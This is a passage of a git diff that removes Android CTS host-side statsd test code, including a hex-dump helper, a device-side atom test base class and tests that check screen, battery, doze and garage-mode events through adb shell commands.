-     * Number of bytes represented per row in hex output.
-     */
-    public static final int WIDTH = HALF_WIDTH * 2;
-
-    /**
-     * Return a string suitable for debugging.
-     * - If the byte is printable as an ascii string, return that, in quotation marks,
-     *   with a newline at the end.
-     * - Otherwise, return the hexdump -C style output.
-     *
-     * @param buf the buffer
-     * @param max print up to _max_ bytes, or the length of the string. If max is 0,
-     *      print the whole contents of buf.
-     */
-    public static String debugString(byte[] buf, int max) {
-        if (buf == null) {
-            return "(null)";
-        }
-        if (buf.length == 0) {
-            return "(length 0)";
-        }
-
-        int len = max;
-        if (len <= 0 || len > buf.length) {
-            max = len = buf.length;
-        }
-
-        if (isPrintable(buf, len)) {
-            return "\"" + new String(buf, 0, len, StandardCharsets.UTF_8) + "\"\n";
-        } else {
-            return toHex(buf, len, max);
-        }
-    }
-
-    private static String toHex(byte[] buf, int len, int max) {
-        final StringBuilder str = new StringBuilder();
-
-        // All but the last row
-        int rows = len / WIDTH;
-        for (int row = 0; row < rows; row++) {
-            writeRow(str, buf, row * WIDTH, WIDTH, max);
-        }
-
-        // Last row
-        if (len % WIDTH != 0) {
-            writeRow(str, buf, rows * WIDTH, max - (rows * WIDTH), max);
-        }
-
-        // Final len
-        str.append(String.format("%10d 0x%08x  ", buf.length, buf.length));
-        if (buf.length != max) {
-            str.append(String.format("truncated to %d 0x%08x", max, max));
-        }
-        str.append('\n');
-
-        return str.toString();
-    }
-
-    private static void writeRow(StringBuilder str, byte[] buf, int start, int len, int max) {
-        final Formatter f = new Formatter(str);
-
-        // Start index
-        f.format("%10d 0x%08x  ", start, start);
-
-        // One past the last char we will print
-        int end = start + len;
-        // Number of missing caracters due to this being the last line.
-        int padding = 0;
-        if (start + WIDTH > max) {
-            padding = WIDTH - (end % WIDTH);
-            end = max;
-        }
-
-        // Hex
-        for (int i = start; i < end; i++) {
-            f.format("%02x ", buf[i]);
-            if (i == start + HALF_WIDTH - 1) {
-                str.append(" ");
-            }
-        }
-        for (int i = 0; i < padding; i++) {
-            str.append("   ");
-        }
-        if (padding >= HALF_WIDTH) {
-            str.append(" ");
-        }
-
-        str.append("  ");
-        for (int i = start; i < end; i++) {
-            byte b = buf[i];
-            if (isPrintable(b)) {
-                str.append((char)b);
-            } else {
-                str.append('.');
-            }
-            if (i == start + HALF_WIDTH - 1) {
-                str.append("  ");
-            }
-        }
-
-        str.append('\n');
-    }
-
-    private static boolean isPrintable(byte[] buf, int len) {
-        for (int i=0; i<len; i++) {
-            if (!isPrintable(buf[i])) {
-                return false;
-            }
-        }
-        return true;
-    }
-
-    private static boolean isPrintable(byte c) {
-        return c >= 0x20 && c <= 0x7e;
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/DeviceAtomTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/DeviceAtomTestCase.java
deleted file mode 100644
index 035160f..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/DeviceAtomTestCase.java
+++ /dev/null
@@ -1,323 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.atom;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
-import com.android.internal.os.StatsdConfigProto.MessageMatcher;
-import com.android.internal.os.StatsdConfigProto.Position;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.os.StatsLog.EventMetricData;
-import com.android.tradefed.log.LogUtil;
-
-import java.util.Arrays;
-import java.util.List;
-
-/**
- * Base class for testing Statsd atoms that report a uid. Tests are performed via a device-side app.
- */
-public class DeviceAtomTestCase extends AtomTestCase {
-
-    public static final String DEVICE_SIDE_TEST_APK = "CtsStatsdApp.apk";
-    public static final String DEVICE_SIDE_TEST_PACKAGE =
-            "com.android.server.cts.device.statsd";
-    public static final long DEVICE_SIDE_TEST_PACKAGE_VERSION = 10;
-    public static final String DEVICE_SIDE_TEST_FOREGROUND_SERVICE_NAME =
-            "com.android.server.cts.device.statsd.StatsdCtsForegroundService";
-    private static final String DEVICE_SIDE_BG_SERVICE_COMPONENT =
-            "com.android.server.cts.device.statsd/.StatsdCtsBackgroundService";
-    public static final long DEVICE_SIDE_TEST_PKG_HASH =
-            Long.parseUnsignedLong("15694052924544098582");
-
-    // Constants from device side tests (not directly accessible here).
-    public static final String KEY_ACTION = "action";
-    public static final String ACTION_LMK = "action.lmk";
-
-    public static final String CONFIG_NAME = "cts_config";
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
-        installTestApp();
-        Thread.sleep(1000);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
-        super.tearDown();
-    }
-
-    /**
-     * Performs a device-side test by calling a method on the app and returns its stats events.
-     * @param methodName the name of the method in the app's AtomTests to perform
-     * @param atom atom tag (from atoms.proto)
-     * @param key atom's field corresponding to state
-     * @param stateOn 'on' value
-     * @param stateOff 'off' value
-     * @param minTimeDiffMs max allowed time between start and stop
-     * @param maxTimeDiffMs min allowed time between start and stop
-     * @param demandExactlyTwo whether there must be precisely two events logged (1 start, 1 stop)
-     * @return list of events with the app's uid matching the configuration defined by the params.
-     */
-    protected List<EventMetricData> doDeviceMethodOnOff(
-            String methodName, int atom, int key, int stateOn, int stateOff,
-            int minTimeDiffMs, int maxTimeDiffMs, boolean demandExactlyTwo) throws Exception {
-        StatsdConfig.Builder conf = createConfigBuilder();
-        addAtomEvent(conf, atom, createFvm(key).setEqInt(stateOn));
-        addAtomEvent(conf, atom, createFvm(key).setEqInt(stateOff));
-        List<EventMetricData> data = doDeviceMethod(methodName, conf);
-
-        if (demandExactlyTwo) {
-            assertThat(data).hasSize(2);
-        } else {
-            assertThat(data.size()).isAtLeast(2);
-        }
-        assertTimeDiffBetween(data.get(0), data.get(1), minTimeDiffMs, maxTimeDiffMs);
-        return data;
-    }
-
-    /**
-     *
-     * @param methodName the name of the method in the app's AtomTests to perform
-     * @param cfg statsd configuration
-     * @return list of events with the app's uid matching the configuration.
-     */
-    protected List<EventMetricData> doDeviceMethod(String methodName, StatsdConfig.Builder cfg)
-            throws Exception {
-        removeConfig(CONFIG_ID);
-        getReportList();  // Clears previous data on disk.
-        uploadConfig(cfg);
-        int appUid = getUid();
-        LogUtil.CLog.d("\nPerforming device-side test of " + methodName + " for uid " + appUid);
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", methodName);
-
-        return getEventMetricDataList();
-    }
-
-    protected void createAndUploadConfig(int atomTag, boolean useAttribution) throws Exception {
-        StatsdConfig.Builder conf = createConfigBuilder();
-        addAtomEvent(conf, atomTag, useAttribution);
-        uploadConfig(conf);
-    }
-
-    /**
-     * Adds an event to the config for an atom that matches the given key AND has the app's uid.
-     * @param conf configuration
-     * @param atomTag atom tag (from atoms.proto)
-     * @param fvm FieldValueMatcher.Builder for the relevant key
-     */
-    @Override
-    protected void addAtomEvent(StatsdConfig.Builder conf, int atomTag, FieldValueMatcher.Builder fvm)
-            throws Exception {
-
-        final int UID_KEY = 1;
-        FieldValueMatcher.Builder fvmUid = createAttributionFvm(UID_KEY);
-        addAtomEvent(conf, atomTag, Arrays.asList(fvm, fvmUid));
-    }
-
-    /**
-     * Adds an event to the config for an atom that matches the app's uid.
-     * @param conf configuration
-     * @param atomTag atom tag (from atoms.proto)
-     * @param useAttribution If true, the atom has a uid within an attribution node. Else, the atom
-     * has a uid but not in an attribution node.
-     */
-    protected void addAtomEvent(StatsdConfig.Builder conf, int atomTag,
-            boolean useAttribution) throws Exception {
-        final int UID_KEY = 1;
-        FieldValueMatcher.Builder fvmUid;
-        if (useAttribution) {
-            fvmUid = createAttributionFvm(UID_KEY);
-        } else {
-            fvmUid = createFvm(UID_KEY).setEqString(DEVICE_SIDE_TEST_PACKAGE);
-        }
-        addAtomEvent(conf, atomTag, Arrays.asList(fvmUid));
-    }
-
-    /**
-     * Creates a FieldValueMatcher for atoms that use AttributionNode
-     */
-    protected FieldValueMatcher.Builder createAttributionFvm(int field) {
-        final int ATTRIBUTION_NODE_UID_KEY = 1;
-        return createFvm(field).setPosition(Position.ANY)
-                .setMatchesTuple(MessageMatcher.newBuilder()
-                        .addFieldValueMatcher(createFvm(ATTRIBUTION_NODE_UID_KEY)
-                                .setEqString(DEVICE_SIDE_TEST_PACKAGE)));
-    }
-
-    /**
-     * Gets the uid of the test app.
-     */
-    protected int getUid() throws Exception {
-        int currentUser = getDevice().getCurrentUser();
-        String uidLine = getDevice().executeShellCommand("cmd package list packages -U --user "
-                + currentUser + " " + DEVICE_SIDE_TEST_PACKAGE);
-        String[] uidLineParts = uidLine.split(":");
-        // 3rd entry is package uid
-        assertThat(uidLineParts.length).isGreaterThan(2);
-        int uid = Integer.parseInt(uidLineParts[2].trim());
-        assertThat(uid).isGreaterThan(10000);
-        return uid;
-    }
-
-    /**
-     * Installs the test apk.
-     */
-    protected void installTestApp() throws Exception {
-        installPackage(DEVICE_SIDE_TEST_APK, true);
-        LogUtil.CLog.i("Installing device-side test app with uid " + getUid());
-        allowBackgroundServices();
-    }
-
-    /**
-     * Uninstalls the test apk.
-     */
-    protected void uninstallPackage() throws Exception{
-        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
-    }
-
-    /**
-     * Required to successfully start a background service from adb in O.
-     */
-    protected void allowBackgroundServices() throws Exception {
-        getDevice().executeShellCommand(String.format(
-                "cmd deviceidle tempwhitelist %s", DEVICE_SIDE_TEST_PACKAGE));
-    }
-
-    /**
-     * Runs a (background) service to perform the given action.
-     * @param actionValue the action code constants indicating the desired action to perform.
-     */
-    protected void executeBackgroundService(String actionValue) throws Exception {
-        allowBackgroundServices();
-        getDevice().executeShellCommand(String.format(
-                "am startservice -n '%s' -e %s %s",
-                DEVICE_SIDE_BG_SERVICE_COMPONENT,
-                KEY_ACTION, actionValue));
-    }
-
-
-    /** Make the test app standby-active so it can run syncs and jobs immediately. */
-    protected void allowImmediateSyncs() throws Exception {
-        getDevice().executeShellCommand("am set-standby-bucket "
-                + DEVICE_SIDE_TEST_PACKAGE + " active");
-    }
-
-    /**
-     * Runs the specified activity.
-     */
-    protected void runActivity(String activity, String actionKey, String actionValue)
-            throws Exception {
-        runActivity(activity, actionKey, actionValue, WAIT_TIME_LONG);
-    }
-
-    /**
-     * Runs the specified activity.
-     */
-    protected void runActivity(String activity, String actionKey, String actionValue,
-            long waitTime) throws Exception {
-        try (AutoCloseable a = withActivity(activity, actionKey, actionValue)) {
-            Thread.sleep(waitTime);
-        }
-    }
-
-    /**
-     * Starts the specified activity and returns an {@link AutoCloseable} that stops the activity
-     * when closed.
-     *
-     * <p>Example usage:
-     * <pre>
-     *     try (AutoClosable a = withActivity("activity", "action", "action-value")) {
-     *         doStuff();
-     *     }
-     * </pre>
-     */
-    protected AutoCloseable withActivity(String activity, String actionKey, String actionValue)
-            throws Exception {
-        String intentString = null;
-        if (actionKey != null && actionValue != null) {
-            intentString = actionKey + " " + actionValue;
-        }
-        if (intentString == null) {
-            getDevice().executeShellCommand(
-                    "am start -n " + DEVICE_SIDE_TEST_PACKAGE + "/." + activity);
-        } else {
-            getDevice().executeShellCommand(
-                    "am start -n " + DEVICE_SIDE_TEST_PACKAGE + "/." + activity + " -e " +
-                            intentString);
-        }
-        return () -> {
-            getDevice().executeShellCommand(
-                    "am force-stop " + DEVICE_SIDE_TEST_PACKAGE);
-            Thread.sleep(WAIT_TIME_SHORT);
-        };
-    }
-
-    protected void resetBatteryStats() throws Exception {
-        getDevice().executeShellCommand("dumpsys batterystats --reset");
-    }
-
-    protected void clearProcStats() throws Exception {
-        getDevice().executeShellCommand("dumpsys procstats --clear");
-    }
-
-    protected void startProcStatsTesting() throws Exception {
-        getDevice().executeShellCommand("dumpsys procstats --start-testing");
-    }
-
-    protected void stopProcStatsTesting() throws Exception {
-        getDevice().executeShellCommand("dumpsys procstats --stop-testing");
-    }
-
-    protected void commitProcStatsToDisk() throws Exception {
-        getDevice().executeShellCommand("dumpsys procstats --commit");
-    }
-
-    protected void rebootDeviceAndWaitUntilReady() throws Exception {
-        rebootDevice();
-        // Wait for 2 mins.
-        assertWithMessage("Device failed to boot")
-            .that(getDevice().waitForBootComplete(120_000)).isTrue();
-        assertWithMessage("Stats service failed to start")
-            .that(waitForStatsServiceStart(60_000)).isTrue();
-        Thread.sleep(2_000);
-    }
-
-    protected boolean waitForStatsServiceStart(final long waitTime) throws Exception {
-        LogUtil.CLog.i("Waiting %d ms for stats service to start", waitTime);
-        int counter = 1;
-        long startTime = System.currentTimeMillis();
-        while ((System.currentTimeMillis() - startTime) < waitTime) {
-            if ("running".equals(getProperty("init.svc.statsd"))) {
-                return true;
-            }
-            Thread.sleep(Math.min(200 * counter, 2_000));
-            counter++;
-        }
-        LogUtil.CLog.w("Stats service did not start after %d ms", waitTime);
-        return false;
-    }
-
-    boolean getNetworkStatsCombinedSubTypeEnabled() throws Exception {
-        final String output = getDevice().executeShellCommand(
-                "settings get global netstats_combine_subtype_enabled").trim();
-        return output.equals("1");
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/GarageModeAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/GarageModeAtomTests.java
deleted file mode 100644
index ee86f01c..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/GarageModeAtomTests.java
+++ /dev/null
@@ -1,77 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.atom;
-
-import com.android.os.AtomsProto.Atom;
-import com.android.os.StatsLog.EventMetricData;
-
-import java.util.List;
-
-/**
- * Verifies that Automotive's Garage Mode reports its status.
- * Statsd atom tests are done via adb (hostside).
- */
-public class GarageModeAtomTests extends AtomTestCase {
-
-    private static final String TAG = "Statsd.GarageModeAtomTests";
-    private static final int SHORT_SLEEP = 100; // Milliseconds
-    private static final int TRY_LIMIT = WAIT_TIME_SHORT / SHORT_SLEEP;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-    }
-
-    public void testGarageModeOnOff() throws Exception {
-        if (!hasFeature(FEATURE_AUTOMOTIVE, true)) {
-            return;
-        }
-
-        final int atomTag = Atom.GARAGE_MODE_INFO_FIELD_NUMBER;
-        createAndUploadConfig(atomTag);
-
-        // Flush any old metrics
-        List<EventMetricData> data = getEventMetricDataList();
-
-        turnOnGarageMode();
-        waitForGarageModeState(true);
-
-        turnOffGarageMode();
-        waitForGarageModeState(false);
-    }
-
-    private void turnOnGarageMode() throws Exception {
-        getDevice().executeShellCommand("cmd car_service garage-mode on");
-    }
-    private void turnOffGarageMode() throws Exception {
-        getDevice().executeShellCommand("cmd car_service garage-mode off");
-    }
-
-    private void waitForGarageModeState(boolean requiredState) throws Exception {
-        for (int tryCount = 0; tryCount < TRY_LIMIT; tryCount++) {
-            List<EventMetricData> data = getEventMetricDataList();
-            for (EventMetricData d : data) {
-                boolean isGarageMode = d.getAtom().getGarageModeInfo().getIsGarageMode();
-                if (isGarageMode == requiredState) {
-                    return;
-                }
-            }
-            Thread.sleep(SHORT_SLEEP);
-        }
-        assertTrue("Did not receive an atom with Garage Mode "
-                   + (requiredState ? "ON" : "OFF"), false);
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java
deleted file mode 100644
index ee6f324..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java
+++ /dev/null
@@ -1,699 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.atom;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.os.BatteryPluggedStateEnum;
-import android.os.BatteryStatusEnum;
-import android.platform.test.annotations.RestrictedBuildTest;
-import android.server.DeviceIdleModeEnum;
-import android.view.DisplayStateEnum;
-import android.telephony.NetworkTypeEnum;
-
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.BatterySaverModeStateChanged;
-import com.android.os.AtomsProto.BuildInformation;
-import com.android.os.AtomsProto.ConnectivityStateChanged;
-import com.android.os.AtomsProto.SimSlotState;
-import com.android.os.AtomsProto.SupportedRadioAccessFamily;
-import com.android.os.StatsLog.ConfigMetricsReportList;
-import com.android.os.StatsLog.EventMetricData;
-
-import com.google.common.collect.Range;
-
-import java.util.Arrays;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Set;
-
-/**
- * Statsd atom tests that are done via adb (hostside).
- */
-public class HostAtomTests extends AtomTestCase {
-
-    private static final String TAG = "Statsd.HostAtomTests";
-
-    // Either file must exist to read kernel wake lock stats.
-    private static final String WAKE_LOCK_FILE = "/proc/wakelocks";
-    private static final String WAKE_SOURCES_FILE = "/d/wakeup_sources";
-
-    // Bitmask of radio access technologies that all GSM phones should at least partially support
-    protected static final long NETWORK_TYPE_BITMASK_GSM_ALL =
-            (1 << (NetworkTypeEnum.NETWORK_TYPE_GSM_VALUE - 1))
-            | (1 << (NetworkTypeEnum.NETWORK_TYPE_GPRS_VALUE - 1))
-            | (1 << (NetworkTypeEnum.NETWORK_TYPE_EDGE_VALUE - 1))
-            | (1 << (NetworkTypeEnum.NETWORK_TYPE_UMTS_VALUE - 1))
-            | (1 << (NetworkTypeEnum.NETWORK_TYPE_HSDPA_VALUE - 1))
-            | (1 << (NetworkTypeEnum.NETWORK_TYPE_HSUPA_VALUE - 1))
-            | (1 << (NetworkTypeEnum.NETWORK_TYPE_HSPA_VALUE - 1))
-            | (1 << (NetworkTypeEnum.NETWORK_TYPE_HSPAP_VALUE - 1))
-            | (1 << (NetworkTypeEnum.NETWORK_TYPE_TD_SCDMA_VALUE - 1))
-            | (1 << (NetworkTypeEnum.NETWORK_TYPE_LTE_VALUE - 1))
-            | (1 << (NetworkTypeEnum.NETWORK_TYPE_LTE_CA_VALUE - 1))
-            | (1 << (NetworkTypeEnum.NETWORK_TYPE_NR_VALUE - 1));
-    // Bitmask of radio access technologies that all CDMA phones should at least partially support
-    protected static final long NETWORK_TYPE_BITMASK_CDMA_ALL =
-            (1 << (NetworkTypeEnum.NETWORK_TYPE_CDMA_VALUE - 1))
-            | (1 << (NetworkTypeEnum.NETWORK_TYPE_1XRTT_VALUE - 1))
-            | (1 << (NetworkTypeEnum.NETWORK_TYPE_EVDO_0_VALUE - 1))
-            | (1 << (NetworkTypeEnum.NETWORK_TYPE_EVDO_A_VALUE - 1))
-            | (1 << (NetworkTypeEnum.NETWORK_TYPE_EHRPD_VALUE - 1));
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-    }
-
-    public void testScreenStateChangedAtom() throws Exception {
-        // Setup, make sure the screen is off and turn off AoD if it is on.
-        // AoD needs to be turned off because the screen should go into an off state. But, if AoD is
-        // on and the device doesn't support STATE_DOZE, the screen sadly goes back to STATE_ON.
-        String aodState = getAodState();
-        setAodState("0");
-        turnScreenOn();
-        Thread.sleep(WAIT_TIME_SHORT);
-        turnScreenOff();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        final int atomTag = Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER;
-
-        Set<Integer> screenOnStates = new HashSet<>(
-                Arrays.asList(DisplayStateEnum.DISPLAY_STATE_ON_VALUE,
-                        DisplayStateEnum.DISPLAY_STATE_ON_SUSPEND_VALUE,
-                        DisplayStateEnum.DISPLAY_STATE_VR_VALUE));
-        Set<Integer> screenOffStates = new HashSet<>(
-                Arrays.asList(DisplayStateEnum.DISPLAY_STATE_OFF_VALUE,
-                        DisplayStateEnum.DISPLAY_STATE_DOZE_VALUE,
-                        DisplayStateEnum.DISPLAY_STATE_DOZE_SUSPEND_VALUE,
-                        DisplayStateEnum.DISPLAY_STATE_UNKNOWN_VALUE));
-
-        // Add state sets to the list in order.
-        List<Set<Integer>> stateSet = Arrays.asList(screenOnStates, screenOffStates);
-
-        createAndUploadConfig(atomTag);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Trigger events in same order.
-        turnScreenOn();
-        Thread.sleep(WAIT_TIME_LONG);
-        turnScreenOff();
-        Thread.sleep(WAIT_TIME_LONG);
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-        // reset screen to on
-        turnScreenOn();
-        // Restores AoD to initial state.
-        setAodState(aodState);
-        // Assert that the events happened in the expected order.
-        assertStatesOccurred(stateSet, data, WAIT_TIME_LONG,
-                atom -> atom.getScreenStateChanged().getState().getNumber());
-    }
-
-    public void testChargingStateChangedAtom() throws Exception {
-        if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
-        // Setup, set charging state to full.
-        setChargingState(5);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        final int atomTag = Atom.CHARGING_STATE_CHANGED_FIELD_NUMBER;
-
-        Set<Integer> batteryUnknownStates = new HashSet<>(
-                Arrays.asList(BatteryStatusEnum.BATTERY_STATUS_UNKNOWN_VALUE));
-        Set<Integer> batteryChargingStates = new HashSet<>(
-                Arrays.asList(BatteryStatusEnum.BATTERY_STATUS_CHARGING_VALUE));
-        Set<Integer> batteryDischargingStates = new HashSet<>(
-                Arrays.asList(BatteryStatusEnum.BATTERY_STATUS_DISCHARGING_VALUE));
-        Set<Integer> batteryNotChargingStates = new HashSet<>(
-                Arrays.asList(BatteryStatusEnum.BATTERY_STATUS_NOT_CHARGING_VALUE));
-        Set<Integer> batteryFullStates = new HashSet<>(
-                Arrays.asList(BatteryStatusEnum.BATTERY_STATUS_FULL_VALUE));
-
-        // Add state sets to the list in order.
-        List<Set<Integer>> stateSet = Arrays.asList(batteryUnknownStates, batteryChargingStates,
-                batteryDischargingStates, batteryNotChargingStates, batteryFullStates);
-
-        createAndUploadConfig(atomTag);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Trigger events in same order.
-        setChargingState(1);
-        Thread.sleep(WAIT_TIME_SHORT);
-        setChargingState(2);
-        Thread.sleep(WAIT_TIME_SHORT);
-        setChargingState(3);
-        Thread.sleep(WAIT_TIME_SHORT);
-        setChargingState(4);
-        Thread.sleep(WAIT_TIME_SHORT);
-        setChargingState(5);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        // Unfreeze battery state after test
-        resetBatteryStatus();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Assert that the events happened in the expected order.
-        assertStatesOccurred(stateSet, data, WAIT_TIME_SHORT,
-                atom -> atom.getChargingStateChanged().getState().getNumber());
-    }
-
-    public void testPluggedStateChangedAtom() throws Exception {
-        if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
-        // Setup, unplug device.
-        unplugDevice();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        final int atomTag = Atom.PLUGGED_STATE_CHANGED_FIELD_NUMBER;
-
-        Set<Integer> unpluggedStates = new HashSet<>(
-                Arrays.asList(BatteryPluggedStateEnum.BATTERY_PLUGGED_NONE_VALUE));
-        Set<Integer> acStates = new HashSet<>(
-                Arrays.asList(BatteryPluggedStateEnum.BATTERY_PLUGGED_AC_VALUE));
-        Set<Integer> usbStates = new HashSet<>(
-                Arrays.asList(BatteryPluggedStateEnum.BATTERY_PLUGGED_USB_VALUE));
-        Set<Integer> wirelessStates = new HashSet<>(
-                Arrays.asList(BatteryPluggedStateEnum.BATTERY_PLUGGED_WIRELESS_VALUE));
-
-        // Add state sets to the list in order.
-        List<Set<Integer>> stateSet = Arrays.asList(acStates, unpluggedStates, usbStates,
-                unpluggedStates, wirelessStates, unpluggedStates);
-
-        createAndUploadConfig(atomTag);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Trigger events in same order.
-        plugInAc();
-        Thread.sleep(WAIT_TIME_SHORT);
-        unplugDevice();
-        Thread.sleep(WAIT_TIME_SHORT);
-        plugInUsb();
-        Thread.sleep(WAIT_TIME_SHORT);
-        unplugDevice();
-        Thread.sleep(WAIT_TIME_SHORT);
-        plugInWireless();
-        Thread.sleep(WAIT_TIME_SHORT);
-        unplugDevice();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        // Unfreeze battery state after test
-        resetBatteryStatus();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Assert that the events happened in the expected order.
-        assertStatesOccurred(stateSet, data, WAIT_TIME_SHORT,
-                atom -> atom.getPluggedStateChanged().getState().getNumber());
-    }
-
-    public void testBatteryLevelChangedAtom() throws Exception {
-        if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
-        // Setup, set battery level to full.
-        setBatteryLevel(100);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        final int atomTag = Atom.BATTERY_LEVEL_CHANGED_FIELD_NUMBER;
-
-        Set<Integer> batteryLow = new HashSet<>(Arrays.asList(2));
-        Set<Integer> battery25p = new HashSet<>(Arrays.asList(25));
-        Set<Integer> battery50p = new HashSet<>(Arrays.asList(50));
-        Set<Integer> battery75p = new HashSet<>(Arrays.asList(75));
-        Set<Integer> batteryFull = new HashSet<>(Arrays.asList(100));
-
-        // Add state sets to the list in order.
-        List<Set<Integer>> stateSet = Arrays.asList(batteryLow, battery25p, battery50p,
-                battery75p, batteryFull);
-
-        createAndUploadConfig(atomTag);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Trigger events in same order.
-        setBatteryLevel(2);
-        Thread.sleep(WAIT_TIME_SHORT);
-        setBatteryLevel(25);
-        Thread.sleep(WAIT_TIME_SHORT);
-        setBatteryLevel(50);
-        Thread.sleep(WAIT_TIME_SHORT);
-        setBatteryLevel(75);
-        Thread.sleep(WAIT_TIME_SHORT);
-        setBatteryLevel(100);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        // Unfreeze battery state after test
-        resetBatteryStatus();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Assert that the events happened in the expected order.
-        assertStatesOccurred(stateSet, data, WAIT_TIME_SHORT,
-                atom -> atom.getBatteryLevelChanged().getBatteryLevel());
-    }
-
-    public void testDeviceIdleModeStateChangedAtom() throws Exception {
-        // Setup, leave doze mode.
-        leaveDozeMode();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        final int atomTag = Atom.DEVICE_IDLE_MODE_STATE_CHANGED_FIELD_NUMBER;
-
-        Set<Integer> dozeOff = new HashSet<>(
-                Arrays.asList(DeviceIdleModeEnum.DEVICE_IDLE_MODE_OFF_VALUE));
-        Set<Integer> dozeLight = new HashSet<>(
-                Arrays.asList(DeviceIdleModeEnum.DEVICE_IDLE_MODE_LIGHT_VALUE));
-        Set<Integer> dozeDeep = new HashSet<>(
-                Arrays.asList(DeviceIdleModeEnum.DEVICE_IDLE_MODE_DEEP_VALUE));
-
-        // Add state sets to the list in order.
-        List<Set<Integer>> stateSet = Arrays.asList(dozeLight, dozeDeep, dozeOff);
-
-        createAndUploadConfig(atomTag);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Trigger events in same order.
-        enterDozeModeLight();
-        Thread.sleep(WAIT_TIME_SHORT);
-        enterDozeModeDeep();
-        Thread.sleep(WAIT_TIME_SHORT);
-        leaveDozeMode();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();;
-
-        // Assert that the events happened in the expected order.
-        assertStatesOccurred(stateSet, data, WAIT_TIME_SHORT,
-                atom -> atom.getDeviceIdleModeStateChanged().getState().getNumber());
-    }
-
-    public void testBatterySaverModeStateChangedAtom() throws Exception {
-        if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
-        // Setup, turn off battery saver.
-        turnBatterySaverOff();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        final int atomTag = Atom.BATTERY_SAVER_MODE_STATE_CHANGED_FIELD_NUMBER;
-
-        Set<Integer> batterySaverOn = new HashSet<>(
-                Arrays.asList(BatterySaverModeStateChanged.State.ON_VALUE));
-        Set<Integer> batterySaverOff = new HashSet<>(
